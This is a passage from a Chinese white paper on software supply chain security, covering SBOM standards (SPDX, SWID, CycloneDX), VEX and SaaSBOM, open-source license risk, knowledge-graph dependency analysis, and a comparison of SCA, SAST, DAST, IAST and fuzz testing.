企业也需要完善供应链资产管理和安全检查,可借助知识图谱技术理清企业供应链依赖 关系,从而在监测到预警时能够从容应对。 四、软件供应链安全理念与安全评估的关系 软件供应链透明程度、软件供应链安全可评估能力、可信软件供应链的三个理念,与最 终用户能进行软件供应链安全检测与评估紧密相关,按: 1. 能对软件成分的安全性进行基础评估 上下游企业能向最终用户提供微透明程度的软件供应链成分信息查询能力。最终用户通 过第三方威胁情报监控,或主管部门发布的安全通告,能获得受影响组件信息。通过查询、 比对软件成分清单内的名称与版本信息,可以快速比对是否存在已知漏洞等安全问题。考虑 到最终用户需要维护软件的便利性与未来自动化检测的需求,软件成分清单应为机读格式。 2. 能对软件成分的安全性进行完整评估 透明程度高的软件成分清单(半透明程度及以上),能显著提升最终用户进行软件供应 链安全评估的准确性。对企业开展业务来说,知识产权等法律风险评估是必不可少。尤其对 于开展国际业务的用户来说,项目使用的开源项目及第三方组件是否遵循许可证要求,合法 地进行软件修改与重用,都存在着潜在法律风险。建立政府统一管理的情报库实现软件供应 链安全预警平台。 3. 能评估软件产品开发过程安全性 完整的供应链覆盖了从开发设计到交付实施再到用户使用的各个环节,牵扯到最终用户 和各级供应商,每个环节都有可能成为网络攻击的突破口,企业在引入供应链软件产品时需 要充分对其进行安全评估,以降低引入的风险; 依赖安全评估:通过 SCA 工具,结合供应商提供的 SBOM,对其依赖的第三方组件进行 风险评估,防范引入已知的漏洞和开源授权使用风险; 软件漏洞评估:根据供应商所提供的产品安全评估报告,包括但不限于 SAST、SCA、 DAST 和 IAST 等工具的扫描报告,确认交付产品时不存在未修复的中高风险漏洞。 4. 能评估软件产品依赖开源软件的供应链安全性 企业管控开源安全,既包括直接依赖组件的漏洞,也包括间接依赖组件漏洞。随着软件 026 软件供应链安全技术框架 系统架构愈加复杂,所关联的开源组件之间的依赖关系也愈加复杂,一些多级依赖的组件漏 洞、运行时依赖的攻击面都容易被忽略。 开源软件生态当前已经丰富繁杂,监管层应针对开源软件进行风险监测与监控。安全是 一个长期持续且动态变化的过程,企业侧则需结合 SCA 建立自身开源资产台账进行开源软件 资产安全管理。其曝出漏洞或者发布补丁时,一方面使用评估检查工具对资产进行漏洞影响 排查,另一方面及时对受影响资产进行加固修复。 5. 可信任的软件供应链安全监管治理 被检测对象首先需依据检测机构提供的可信安全厂商获取安全检测服务及工具,保证工 具及来源的安全合规。对自身软件资产进行审计,输出标准化清单:软件成分、代码审计、 供应商资质等标准化清单。将清单提供给安全管理机构进行备案,以备审查。当安全主管机 构审查时,使用标准化设备对软件资产,供应商资质,开发环境,应急方案等场景进行审计, 对比清单内容并提出改进建设指导意见。保证全流程的安全可信。 6. 可信任的软件供应链生态 信创供应链安全是一个系统工程,也是企业重点关注的问题,随着网络攻击技术的发展, 我们需要创新协同,积极引入可信计算、多方安全计算、区块链等技术,创新安全产品体系 架构,不断提升产品自身安全性;以产品全生命周期安全保障为目标,从部件供应商、产品 研发、产品测试、产品生产、储运销售、产品运维、召回等环节,运用可信计算、多方安全 计算、区块链等技术建立信创产业可信软件、可信硬件供应链安全保障技术体系。 软件供应链安全技术白皮书 027 3.3 软件供应链安全技术框架 软件供应链安全管理依托现有的法律法规对供应链安全治理提出的指导意见与管理要求, 多角度考量,将供应安全标准规范,供应链安全规章制度与供应链安全管理体系相融合,制 定软件供应链安全治理顶层设计,管理范围覆盖软件供应链开发、交付到使用全生命周期及 资产链条的上游研发至下游用户侧全方位覆盖。 软件供应链安全首先要树立正确的安全意识,目标是将系统打造成可信任、可评估、组 成成分透明的可信实体。将安全检测结合安全可信白名单机制、风险预警、与情报收集机制 保证内部环境安全。通过建立软件成分清单(如 SBOM),源代码管理、漏洞库管理等安全 风险管控机制,保证软件供应链数据的安全可信。同时,配合安全检测技术、如代码审计、 软件成分分析、动态安全检测等技术支持可评估能力建设。加快建立软件成分清单生成与使 用规范,建立管理手段与工具方法库,标准化软件成分和软件成分可视化流程,保证组件透 明理念的落实。 将安全理念与关键技术相融合,实现软件供应链安全技术保障,将具体方式方法抽象出 可复制可执行的安全解决方案。针对具体场景实施供应链安全监督与安全管控,落实好监管 部门所关注的供应链安全重点领域管理意见及建议,实现企业内部软件供应链安全防护体系 化建设。 4 软件供应链安全关键技术 软件供应链安全技术白皮书 029 4.1 软件成分清单生成及使用技术 软件成分清单与软件物料清单(SBOM)之间的差别在于对软件“最小要素”的颗粒度 的要求,在技术思路、实现步骤上并无本质差别。考虑到软件物料清单的生成工具与技术研 发已相对成熟,在 4.1 章节我们将通过介绍 SBOM 的各项关键技术,来阐释软件成分清单的 生成与使用过程。 先简要介绍 SBOM。国际上正在推广的 SBOM,可以看作软件成分清单的一种实现标准, 根据 NTIA 提供的指导文档,要求软件企业提供的 SBOM 是一个正式的、机器可读的列表, 以实现软件供应链的自动化识别与管理的需求。理想条件下,供应链中每一环节都要求该环 节的上游环节提供 SBOM,同时该环节应提供 SBOM 给下游环节;SBOM 需要支持多层级的 组件信息 ( 例如操作系统、安装器、包、文件等 );SBOM 还需要根据组件的改变而更改 ( 通 过更新、补丁等达成 )。当前 SBOM 有三种最为主流的格式,他们分别为:SPDX [7]、SWID [8] 以及 CycloneDX [9]。 由 LINUX 基金会主导的 The Software Package Data Exchange(SPDX)项目,旨在通过 定义报告信息的标准来帮助减少软件的歧义。SPDX 通过为企业和社区提供共享重要数据的 通用格式来减少冗余工作,SPDX 规范作为 ISO/IEC 5962:2021 被公认为安全性、许可证合 规性和其他软件供应链工件的国际开放标准。SPDX 支持众多文件格式(.xls,.spdx,.rdf,. json,.yml 以及 .xml),特征是包括组件、许可证、版权以及开放标准。 SWID 由 NIST 推出,只支持 .xml 格式,由一组结构化的数据元素组成,标识产品、版本、 产品生产分发中的组织和个人、组件信息、产品和其他描述性元数据之间的关系等信息。 CycloneDX 是一种轻量级 SBOM 标准,由 OWASP 推出,支持 .json 和 .xml。 不管选用哪种标准和格式,建立软件成分清单生成及使用机制都是十分必要的。这不仅 有助于应对日益增多的软件供应链攻击事件,还能帮助供应链中下游环节理解上游环节的意 图、解决内部环境的冲突,帮助企业更好的把握软件结构,并更好地管理软件风险。 4.1.1 软件成分清单生成技术 生成软件成分清单需要考虑两种情况:主动提供形式,即软件提供商主动提供软件成分 清单,此时生成软件成分清单的工具可以包含在软件版本控制系统中,同时能够提供一定的 [7] International Open Standard (ISO/IEC 5962:2021) - Software Package Data Exchange (SPDX) [8] NVD - SWID (nist.gov) [9] OWASP CycloneDX Software Bill of Materials (SBOM) Standard 030 软件供应链安全关键技术 组成成分更新可追踪、历史版本可追溯能力;而另一种是被动分析形式,即下游环节需要自 行分析软件成分。 1. 供应商主动提供组成成分 从 DevOps 角度来看,一个软件的生命周期包括规划、开发、构建、测试、发布、部署、 运维运营以及监视阶段,如果是一个软件供应链中间环节的供应商,还可以从开发阶段中分 出采购环节。 如果软件供应商是在软件研发后生成软件成分清单,只能依赖现有的设计文档、测试报 告提取信息,借助人工的方式还原软件成分,毫无疑问,这样不仅效率低,也容易遗漏已更 新的软件成分信息。甚至,可能演变为与被动分析模式相差无几的情况,增加了分析的难度, 降低了追溯力。 那么供应商应该如何构建软件成分清单呢?如下图,NTIA 提供了一个“SBOM 生成流水 线”,展示了软件开发商将 SBOM 的生成过程与整个 DevOps 流程相融合的图景, SBOM 跟 随 DevOps 中的每一步,规范、高效且流程化地生成。 图 4.1 NTIA – 现有 SBOM 格式及标准调查 2021 [10] [10] NTIA SBOM formats and standards whitepaper.[Online.] Available: https://www.ntia.gov/files/ntia/publications/ntia_ sbom_formats_and_standards_whitepaper_-_version_20191025.pdf 软件供应链安全技术白皮书 031 首先是规划阶段 (plan)。规划阶段,可以将软件的设计、规划阐明,加入 SBOM 文档。 上文我们提到,可以将采购环节分离出来,作为一个独立的环节。此处采购的软件可以是开 发中必须的第三方工具、插件、软件包、资源库等等,只要能够提供相应的第三方 SBOM 文档, 将其声明引用在 SBOM 文档中即可。但是如果对方无法提供 SBOM 文档,要么寻找替代品, 要么只能被动接受,此时就涉及到第二类 SBOM 生成,即“被动”生成的方法了,这里暂不 论述,下文会进行说明。 来到开发阶段,此阶段包括初期编程开发以及后期编写软件补丁。在开发过程中, 需要 SCM(软件配置管理管理)、VCS(版本控制系统)等管理系统,同时对于进阶的 DevSecOps 来说,这一阶段往往还需要应用 SCA(软件成分分析)、SAST(静态代码分析) 等分析技术。此时,应当将源码、生成文件以及补丁的信息录入 SBOM。 进入构建阶段,构建完成时,应当将构建信息写入 SBOM 文档。至此,软件初步开发完成, 进入测试环节。 测试环节对软件的性能、稳定性、可用性等衡量标准进行评测,DevSecOps 中还会进 行黑盒、内外部渗透、交互式应用安全测试(IAST)等安全测试。通过测试后,对软件进 行签名认证,并将所用标准、证书信息写入 SBOM。至此,软件生命周期中的开发周期暂 时结束。 软件分发阶段,应完善 SBOM 信息,使其包括但不限于 NTIA 要求的最低标准信息(作 者信息、提供商、产品名称、版本号、组件信息的哈希值以及 id)以及数字签名;开源软件 还应在 SBOM 中声明许可证 license。 部署阶段,可以给 SBOM 附上条款、插件以及配置信息。 最后,在维护 / 监控阶段,最理想的情况是将已知安全漏洞信息插入文档,可以参见本 章辅助套件小节对 VEX 的说明。 值得一提的是,在现有 SBOM 三大标准之中,除了 SWID 支持语言不多,SPDX 以及 CycloneX 在 java/python/javascript/golang/Maven 等语言中都有提供相应的许可证库以及 SBOM 文档生成插件。 2. 自行分析软件成分 如果不能获得软件提供商的一手软件成分清单或相关资料,那么必要时需要自行分析软 件,生成软件成分清单。这种方法,也可用于验证供应商所提供的产品、软件成分信息。 032 软件供应链安全关键技术 ● 对象是闭源程序时,软件企业或最终用户需要通过代码编译信息及配置文件、二进制 分析工具、逆向工程等技术进行,通过人工智能算法进行相似性寻找同源、近源程序 的组成分析成分表能提升分析能力。 ● 对象是开源程序时,软件企业或最终用户无法直接获得软件成分清单与更新服务, 需要自行维护。目前,企业用户多采用 SCA(Open Source Software Composition Analysis)这类专业开源软件成分分析与管理系统,管理所引入的开源软件的安全风 险。自动化的 SCA 工具对应用程序的源代码,包括模块、框架、库、容器、注册表 等工件进行自动化扫描,以识别和清点开源软件的所有组件构成和依赖关系,并识 别已知的安全漏洞或者潜在的许可证授权问题。把这些风险排查在应用系统投产之 前,也适用于应用系统运行中的诊断分析。除了提供开源软件成分可见性之外,一些 SCA 工具还基于漏洞风险等级进行优先级修复开源漏洞或提供相应解决办法。 在软件供应链中,无论是上游还是下游企业,都建议建立自己的软件成分清单,不论是 通过数据库获取某一软件成分清单,比对软件成分清单信息判断是否被篡改;还是通过已有 软件成分清单改进生成技术,建立完善的软件成分清单生成机制、存储机制,都能对软件安 全起到积极的作用。 4.1.2 软件成分清单分析工具 根据 LINUX 基金会提供的分类 [11],我们可以将 SBOM 工具分为 3 大类,分别是生产类、 消费类以及转换类。生产方面,主要包括软件成分分析、SBOM 文档的自动构建以及人工编 辑这三种功能;消费方面,分为浏览(人类可读)、SBOM 文件对比以及 SBOM 文件导入三 种功能;转换方面,需要实现翻译、合并以及支持功能。当然,一个分析工具可以是这三类 中的一类,也可以具备多类的功能。 表 4.1  SBOM 工具的分类 类别 类型 描述 生产 构建 文件在构建软件的过程中自动生成,并包含有关于这个 build 的信息 分析 对源 / 二进制文件分析,通过检查软件还有相关资源的方式生成 SBOM 编辑 支持人工访问、人工修改 SBOM 数据 消费 浏览 以人类可读 ( 图片 / 表格 / 图表 / 文本等 ) 形式提供信息,辅助决策、商业进程 对比 能够对比多个 SBOM 之间的区别,以区分不同 导入 将 SBOM 发现、取回并导入到系统或进一步的处理分析中 转换 翻译 保留相同信息的同时从一个文件类型转变为另一个文件类型 合并 多个源的 SBOM 以及信息可以合并,以供分析、审计 工具支持 支持通过 API、库、对象模型或其他引用资源的方式为其他工具所用 [11] https://linuxfoundation.org/wp-content/uploads/LF-Live-Generating-SBOMs.pdf 软件供应链安全技术白皮书 033 4.1.3 开源许可证授权风险管理 对于软件开发者来说,在软件供应链中使用开源软件,面对的风险不仅仅在于技术层面 安全风险,也包括违反许可证授权的法律风险。 开源许可证,对使用开源项目中的软件代码、二进制等文件进行分发、修改和重用等行 为进行合法定义、约束的条款,它规定了软件开发者和软件用户之间应当行使的权利义务。 企业向(缺乏宾语)公开自己产品的部分源代码时,需要选择合适的开源许可证保留自身 权益;违反开源许可证的修改、重用也会引入潜在法律风险。因此,分析软件产品所引用的 开源软件许可证,是合法地使用开源软件的先决条件,特别是对于大型软件系统,许可证信 息验证过程就显得尤为重要。 在开源领域内,著名的开源许可证认证国际组织包括 OSI 开源社区 [12] 和 FSF 自由软件基 金会 [13]。OSI 目前已批注了 110 多份开源软件许可证,FSF 也列出了 90 多份开源软件许可证。 其庞大的数量、繁多的种类,对开源许可证分析工作带来了很多困难,引发了软件产业对包 含不同的开源许可证组件产生许可证兼容性冲突问题,商业软件如何选择许可证组合以减少 法律问题的相关研究也屡见不鲜。 其中,比较著名的 FOSSology 许可证冲突检测软件与开源 Open Source License Checker (OSLC) 许可证冲突检测软件,可以对软件项目源代码进行开源许可证检查。 随着软件物料清单(SBOM)概念的提出,Georgia M 等人通过使用软件成分分析标准的 软件包数据交换(SPDX)结构,来自动化检查许可证兼容性的方法 [14] [15]。由此,可以看出, 通过在软件成分清单中明确对开源许可证的要求,可以更简单、有效的解决终端用户评估许 可证安全风险。为了更好地保障软件供应链的安全,软件许可证风险也应考虑在内,这就需 要识别、管理许可证的能力。而管理许可证风险的大前提是不变的⸺明确软件都有哪些组 件,以及它们的依赖关系。 4.1.4 开源软件成分管理 可传递依赖关系引入的安全风险在开源项目中尤为突出,一个代表就是 2021 年 12 月份 出现的 Log4j2 漏洞(CVE-2021-44228)。 Log4j2 作为一个堪比标准库的基础日志库,受到 [12] https://opensource.org/ [13] GNU 操作系统和自由软件运动 [14] Kapitsaki G M, Kramer F. Open Source License Violation Check for SPDX Files[C]// International Conference on Software Reuse. Springer, Cham, 2015:90-105 [15] Kapitsaki G M, Kramer F, Tselikas N D. Automating the license compatibility process in open source software with SPDX[J]. Journal of Systems & Software, 2016. 034 软件供应链安全关键技术 无数开源 Java 组件直接或间接依赖。根据绿盟科技研究员分析 [32],此次爆发的 Log4j2 漏 洞影响范围广泛且危害严重,在各个场景领域皆应获得重点关注。分析这种庞大且复杂的关 系链,可以使用知识图谱技术。 知识图谱技术近几年在工业界应用也越来越广泛。如网络安全、医疗、法律、金融垂直 领域都已经有比较好的应用案例。知识图谱本质上是一种大型的语义网络,它旨在描述客观 世界的概念实体事件及其之间的关系,以实体概念为节点,以关系为边,提供一种从关系的 视角来看世界。 参考 CycloneDX 提供的开源组件成分及其关系规范化的格式描述,可以通过关系图描述 开源组件的组成成分,如下图所示。 图 4.2 基于 CycloneDX BOM 的图关系模型 通过知识图谱可以很好的解决开源软件复杂的依赖关系表示不清晰问题,让开源软件成 分语义化,可视化,变得机器可读可推理: 软件供应链安全技术白皮书 035 1.知识图谱的图表示方法构建开源软件的成分深层关系(如依赖、引用、许可等); 2.使用开源软件相关的漏洞知识库和其建立关系,利用知识图谱的分层传播路径搜索算 法有效分析开源软件的漏洞影响,以衡量项目漏洞的严重性; 3.应用图算法分析知识图谱(依赖关系图)获得最具风险的关键依赖关系,推荐有效的 修复建议。 图 4.3 开源软件知识图谱本体模型 在安全分析研究方面,开源软件知识图谱可以帮助安全人员对开源软件进行全面的风险 评估分析: 1. 基于开源组件属性特征(如源代码、包等文件的 hash 值)来判定组件是否存在被包装 冒用或自身被篡改的风险 ; 2. 利用不同开源组件的依赖关系,结合组件版本信息,可以在高危漏洞应急响应中快速 识别受影响的其他组件,通过图的聚合及子图拆分等图优化算法能够高效、持续的输出风险 分析结果。 如下图,展示了 log4j-core@2.3 组件存在的多个高危漏洞关系,如果在软件中引用了存 在高危漏洞的开源组件,无疑会给软件产品带来潜在的威胁,同样,软件供应商的软件产品 也会面临同样的安全风险。 036 软件供应链安全关键技术 图 4.4 log4j 组件的依赖图谱 4.1.5 软件成分清单辅助套件 4.1.5.1 VEX VEX(vulnerability exploitability exchange,漏洞可利用性交流 / 交换)概念和格式是美 国国家通信和信息管理局 (NTIA) 开发的 [16],它可以列出某一软件 / 组件某一版本中的漏洞, 帮助用户获得这些漏洞的状态、信息,并借此评估这些漏洞的可利用性(辅助用户判断这些 漏洞是否对软件有影响⸺不影响软件 / 已经修复 / 调查中 / 影响软件;以及如果受到影响, 建议采取哪些补救措施)。部分情况下由于各种原因(例如,编译器未加载受影响的代码, 或者软件中其他地方存在一些内联保护),导致上游组件中的漏洞不会被“利用”,此时可 以对用户进行告知,节省用户调查的成本。 要生成一份 VEX 文档,需要三个步骤:组件标识、漏洞标识以及漏洞状态(见下图)。 [16] https://www.ntia.doc.gov/files/ntia/publications/draft_requirements_for_sharing_of_vulnerability_status_ information_-_vex.pdf 软件供应链安全技术白皮书 037 图 4.5 生成 VEX 所需过程 [17] 表 4.2 生成 VEX 所需过程 VEX 数据域 补充 VEX 目标 组件标识或者组件族标识 与 SBOM 相关联 VEX 元数据 VEX 文档的 id - 作者 - 作者作用 / 角色 - 时间戳 - 完整性 / 签名 / … - SBOM id(可选) - 漏洞(每一个标识出的漏洞) 漏洞 id - 漏洞状态(机器可读) - 漏洞详细信息 - 影响的组件(可选) - 上表是 NTIA 给出的 VEX 数据结构初稿,为了更好地理解 VEX 文档的结构和内容,可以 参考 Cyclone 在 github 上给出的示例文档(json 格式) [18]。 VEX 可以看作是 SBOM 的特殊需求,是 SBOM 所需(所要求)基本信息的延伸与扩展。 但 VEX 并不必须与 SBOM 一起使用,也不要求整合到 SBOM 内(根据 NTIA 以及 CycloneDX 的描述,VEX 可以与 SBOM 合并,也可以作为独立的文档存在) [19][20] 这是因为 SBOM 对于 给定的构建通常是静态的,但 VEX 在更改中可能是动态的(如漏洞当前状态可能随着调查 [17] https://www.ntia.doc.gov/files/ntia/publications/framing_2021-04-29_002.pdf [18] https://github.com/CycloneDX/sbom-examples/blob/master/VEX/vex.json [19] https://www.ntia.doc.gov/files/ntia/publications/vex_one-page_summary.pdf [20] https://cyclonedx.org/capabilities/vex/ 038 软件供应链安全关键技术 有所进展而变动)。这种差异导致如果将 VEX 与 SBOM 整合为一个文档,那么每次 CVE 内 容发生变动的时候,就需要重新生成一个重复的 SBOM 文档,而这份多余的成本是可以通过 VEX 与 SBOM 的分割而避免的。因此,供应商应在实际应用中根据具体情况,选择是否将 VEX 与 SBOM 整合。下面是 NTIA 给出的一个流程图。 图 4.6 利用 VEX 和 SBOM 进行风险决策 [21] VEX 已作为通用安全咨询框架 (CSAF) 中的配置文件实施。CSAF 是由 OASIS Open CSAF 技术委员会开发的机器可读安全建议标准。正如 CSAF 所定义的,VEX 还可以提供丰富的信 息,例如供应商、系统集成商和运营商可以提供的修复、变通方法、所需的重启 / 停机时间、 漏洞评分和风险。VEX 也可以在其他标准或框架中实现 [22]。 专家预计, VEX 概念“可能会在 2022 年迅速流行,因为它减少了供应商和最终用户的 工作量”。供应商可以轻松地传达客户因漏洞而面临的风险(或不存在风险)。供应商可以 单击一个按钮并为公司生产的所有产品的所有版本创建一个 VEX 文档,而不是生成一个长长 的 PDF 列表 1000 多个产品及其潜在的漏洞暴露。这大大减少了在漏洞恐慌时安抚客户所需 的努力。VEX 基于 JSON 格式,机器可读且易于构建工具。 4.1.5.2 SaaSBOM SaaSBOM 是 CSOonline 提出的一个简单的框架,建议 SaaS 提供商仔细分析所售产品中 为了实现数据的机密性、完整性、可用性所依赖的技术堆栈,表示方式则可以选择 SPDX 或 [21] https://www.ntia.doc.gov/files/ntia/publications/framing_2021-04-29_002.pdf [22] https://www.secrss.com/articles/38485 软件供应链安全技术白皮书 039 SWID [23]。与 VEX 一样,SaaSBOM 可以看作对“传统”SBOM 的延伸与扩展⸺“传统”SBOM 只涵盖了传统软件供应链,而SaaSBOM则创新地将“软件即服务(SaaS)”的供应商也包含在内。 CycloneDX 则给出了更详细的信息:SaaSBOM 通过提供复杂系统的逻辑表示形式来补充 IaC(基础设施即代码),包括所有服务的清单、它们对其他服务的依赖、端点 URL、数据分 类以及服务之间的数据定向流。可选地,SaaSBOM 还可能够包括构成每个服务的软件成分 [24]。 SaaSBOM 的相关示例可以在 github 上查看 [25]。 此外,与 VEX 类似,由于 SaaSBOM 中部署信息更加动态,用户也可以视实际情况,选 择将保持 SaaSBOM 的独立,或将其与 SBOM 整合。 4.2 软件供应链安全检测技术 软件供应链安全检测技术需要覆盖整个软件生命周期,主要涉及五类安全检测技术,分 别是软件组成分析 (SCA)、静态安全分析 (SAST)、动态应用安全测试 (DAST)、交互式应用安 全测试 (IAST) 和模糊测试 (FUZZ)。囊括了软件设计、开发、测试、运营各阶段的安全检测。 不同的检测技术能够解决软件供应链特定阶段的安全问题,下表对五类技术作了简要介绍以 及对比分析。 对比项 SCA SAST DAST IAST FUZZ 检测对象 源代码或二进制文件中依 赖的开源和第三方组件 源代码 运行中程序的 数据流 运行中程序的源代 码、数据流 运行中程序 检测阶段 设计 / 开发 开发 / 测试 / 上线 测试 / 运营 测试 / 运营 开发 / 测试 误报率 低 高 低 极低(几乎为 0) 低 测试覆盖度 高 高 低 中 低 检测速度 与检测技术有关 随代码量呈指 数增长 随测试用例数量稳 定增加 实时检测 随测试用例数量稳 定增加 漏洞检出率 高 高 中 较高 中 影响漏洞检 出率因素 检测技术 , 组件知识库丰富程度 检测技术 , 缺陷规则 测试用例覆盖度 检测技术, 缺陷规则 测试用例质量, 覆盖度 使用成本 较低,漏洞基本无需人工 验证 高,需要人工 排除误报 低,基本没有误报 低,基本没有误报 低,基本没有误报 支持语言 区分语言 区分语言 不区分语言 区分语言 不区分语言 侵入性 低 低 较高,脏数据 低 低 CI/CD 集成 支持 支持 不支持 支持 不支持 [23] https://www.csoonline.com/article/3632149/the-case-for-a-saas-bill-of-material.html [24] https://cyclonedx.org/capabilities/saasbom/ [25] https://github.com/CycloneDX/sbom-examples/blob/master/SaaSBOM/apigateway-microservices-datastores/ bom.json 040 软件供应链安全关键技术 以下对这五种检测技术分别进行详细介绍。 4.2.1 软件组成分析 (SCA) 在软件供应链中,开源软件因其开放、共享、自由的特点,而被广泛应用。开源代码的 使用大幅提高了软件研发的效率,降低了开发的成本。但是由于开源项目的质量参差不齐, 很容易存在安全漏洞,或者受到攻击者的恶意篡改,项目维护者也可能未能对漏洞进行及时 修复,造成极大的安全隐患。当今开源软件数量呈指数增长,开源软件之间存在复杂的依赖 关系,导致无法单纯通过人力对漏洞进行筛查。为了自动和高效地解决开源应用威胁这一问 题,软件组成分析技术(SCA)应运而生,这是目前对应用程序组成分析、漏洞检测最有效 的办法之一。 SCA 是一种静态的,白盒的检测技术,通过自动化流程,对软件源代码、二进制文件进 行分析,识别其物料清单 SBOM,检测其中存在的漏洞和许可违规风险,帮助用户及时修复。 SCA 从理论上来说是一种通用的分析方法,可以对任何开发语言对象进行分析,Java、 C/C++、Golang、Python、JavaScript 等等,它关注的对象是构成软件的第三方工件,以及 工件之间的依赖关系。SCA 从分析过程来看,可以概括为源代码 / 二进制分析、特征提取和 识别、漏洞检测、SBOM 生成。 (1)源代码 / 二进制分析 从 SCA 分析的目标程序形式上分,既可以是源代码也可以是编译出来的各种类型的二进 制文件,分析的数据对象对程序架构,编译方式都是不敏感的,比如:类名称、方法 / 函数名称、 常量字符串等等,不管目标程序运行在 x86 平台还是 ARM 平台,不管是 windows 程序还是 Linux 程序,都是一样的,简而言之 SCA 是一种跨开发语言的应用程序分析技术。二进制分 析格式如下: 二进制格式类型 详细 纯二进制格式 C/C++ 编译后的二进制文件 Java 编译后的二进制文件 .class .NET 编译后的二进制文件 Go 语言编译后的二进制文件 压缩包 Gzip(.gz)、bzip2(.bz2)、ZAP(.zaip,.jar,.apk 和其他衍形式)、7-Zip(.7z)、TAR(.tar)、RAR(.rar)、 ARJ(.arj)、XZ(.xz)、LZMA(.lz)、LZ4(.lz4)、Compress(.Z)、Pack200(.jar) 安装包 Red Hat RPM(.rpm) Debian package(.deb) Mac instance(.dmg,.pkg) Windows installers(.exe,.msi,.cab) 固件格式 Intel HEX、SREC、U-Boot、Android sparse file system、Cisio firmware 软件供应链安全技术白皮书 041 二进制格式类型 详细 文件系统 / 电子盘 ISO 9660/UDF(.iso)、QEMU Copy-On-Write(.qcow2,.img)、VMware VMDK(.vmdk,.ova)、 VirtualBox VDI(.vdi)、Windows Imaging、ext2/3/4、JFFS2、UBIFS、RomFS、FessBSD UFS 容器 Docker Image (2)特征提取与识别 组件识别通常采用包管理解析、指纹识别两种技术。 ● 包管理解析 通过分析源代码中包含的包管理配置文件,如 Python 项目中的 requirements.txt、NPM 项目中的 package.json 等,直接得到对应的软件组成。包管理解析的执行效率和准确率都很 高,但是单纯的包管理解析,不适用于很多场景,例如: 对没有包管理的一些源码或者一些 二进制文件等 , 就会产生漏报,如 C 语言本身是没有包管理器的 , 直接在代码中使用了开源 组件的源码 , 因此也就无法判断出来使用了哪些组件。包管理文件也可能存在未定义组件版 本的情况,此时无法定位实际使用的版本,也就无法确定该组件是否存在漏洞。商业软件中 一般会使用包管理解析和指纹识别结合使用的方式,来提高组件识别的覆盖率。 ● 指纹识别 将目标文件进行特征值计算,将计算得到的特征值与组件特征数据库进行比较,匹配组 件信息。特征值计算常用的算法有多种,算法的不同会直接影响分析的准确性和分析效率。 1. 结构化的指纹识别,通过分析一个目录下的结构,来生成指纹做相似度对比,识别开 源组件 2. 特征码的指纹识别,通过识别本地的文件的哈希值,文件的大小信息等,来识别开源 组件 3. 代码片段的指纹识别,通过精细化将代码进行片段化切片,形成代码指纹,比较相似度, 来识别组件 4. 二进制的反编译化的代码指纹,来进行相似度比较,识别组件 5. 字符串搜索和定制化指纹,用来识别非开源组件和第三方商业组件 (3)漏洞检测 将识别出的组件与组件漏洞库进行比对,发现组件中存在的漏洞、许可证授权风险,并 提供解决方案,帮助用户修复问题。 042 软件供应链安全关键技术 (4)SBOM 生成 SBOM 包含软件的所有组件构成以及依赖关系,漏洞、许可证等关键信息,对于供应链 过程中的透明程度至关重要。当前实现 SBOM 的格式有三种: 1、 SPDIX:Linux 基金会的根本投入。该计划是沟通 SBOM 信息的开放标准,包括组件、 许可证、版权和安全引用。 2、 CycloneDX:专为安全上下文和供应链组件分析而构建。 3、 SWID 标记:由记录关于软件组件唯一信息且协助存储管理计划的文件组成。 CycloneDX SPDX SPDX Lite SWID 定义 (Definition) 一种轻量级 SBOM 标 准,设计用于应用程序 安全上下文和供应链组 件分析 一种标准语言,用于以 多种文件格式传达与软 件组件相关的组件、许 可证、版权和安全信息 是 SPDX 的轻量级子 集,适用于不需要完 整 SPDX 的情况。 它旨 在让那些没有开源许可 知识或经验的人易于使 用,并成为“某些行业 中 SPDX 标准和实际工 作流程之间的平衡”。 SWID 标准定义了一个 生命周期,其中 SWID 标签作为软件产品安 装过程的一部分添加 到端点,并在产品卸 载过程中删除。 历史 (History) CycloneDX 最初旨在解 决开源组件的漏洞识 别、许可证书合规性和 过时组件分析 核心工作组于 2017 年 起源于 OWASP 社区, 在内部广泛使用后,变 成 OWASP 的开源项目 除了开源信息之外, CycloneDX 更关注漏洞 和安全性。 Linux 基金会自 2010 年以来一直在开发和完 善 SPDX。据 Linux 基金 会称,“SPDX 的创建 是为了提供一种通用的 数据交换格式,以便可 以收集和共享有关软件 包和相关内容的信息。” SPDX 的核心重点一直 是开源许可合规性。 2021 年 SPDX 规范成 为了一个国际的开放标 准: ISO/IEC 5962: 2021 贡献主要由 OpenChain 日本工作组的行业参与 者领导,包括日立、富 士通、索尼、瑞萨和东 芝。 SPDX Lite 包含在 SPDX 2.2 版本中 SWID 标签旨在通过在 整个软件生命周期中 更轻松地发现、识别和 关联软件,帮助企业 创建准确的软件清单。 该标准是更广泛的 ISO IT 资产管理标准的一 部分,并得到 NIST 的 支持。 SWID 的第一个版本于 2009 年发布,然后在 2015 年进行了修订。 维护者 (Working Group) 核心团队由来自 OWASP、Sonatype 和 ServiceNow 的人领导 由 Linux 基金会维护 由 Linux 基金会维护 由 NIST 维护 支持格式 (Format) XML,JSON,Protocol BUffers RDFa, xlsx, spdx, xml,json,yaml RDFa, xlsx, spdx, xml,json,yaml xml BOM 元数据 (Metadata) 供应商,制作商,组件 信息,证书信息,创建 BOM 的工具信息,外部 API 信息,依赖关系信 息(依赖关系图) SPDX 文档创建信息, 组件信息,文件信息(可 能包含在包信息里), 文件片段信息,证书信 息,SPDX 元素之间的 关系,注释信息(例 如:审查 SPDX 文件的 信息) 文档创建信息:SPDX 版本、数据许可、 SPDX 标识符、文档名 称、SPDX 文档命名空 间、创建者 组件信息:包名、包版 本、包文件名、包下载 位置、包主页、结束许 可、声明许可、许可注 释和版权文本 语料库标签:描述预 安装阶段的软件(TAR、 ZIP 文件、可执行文件) 主要标签:提供产品 名称、标签的全球唯 一标识符以及标识标 签创建者的基本信息 补丁标签:标识并描 述应用于产品的补丁 补充标签:增加主要或 补丁标签的附加细节 软件供应链安全技术白皮书 043 CycloneDX SPDX SPDX Lite SWID 组件唯一 标识支持 软件坐标 Coordinates (group, name, version) PURL(Package URL) CPE (Common Platform Enumeration) SWID(ISO/IEC 19770- 2:2015) Cryptographic hash functions (SHA-1, SHA-2, SHA-3, BLAKE2b, BLAKE3) PURL(Package URL) Cryptographic hash functions SPDXID PURL(Package URL) Cryptographic hash functions SPDXID CPE Cryptographic hash functions SWID 近年来,由开源组件和第三方商业软件引发的供应链安全问题层出不穷,拿最近的 Log4j 和 SolarWinds 入侵事件来举例,因其应用广泛,可利用性强,造成极大影响。SCA 技术不需要运行程序,通过静态的方式分析第三方软件的组成,得到应用程序的组件知识 图谱,能够有效提升软件供应链的透明度,进而关联出存在的已知漏洞清单,帮助用户及 时修复问题。 4.2.2 静态安全分析 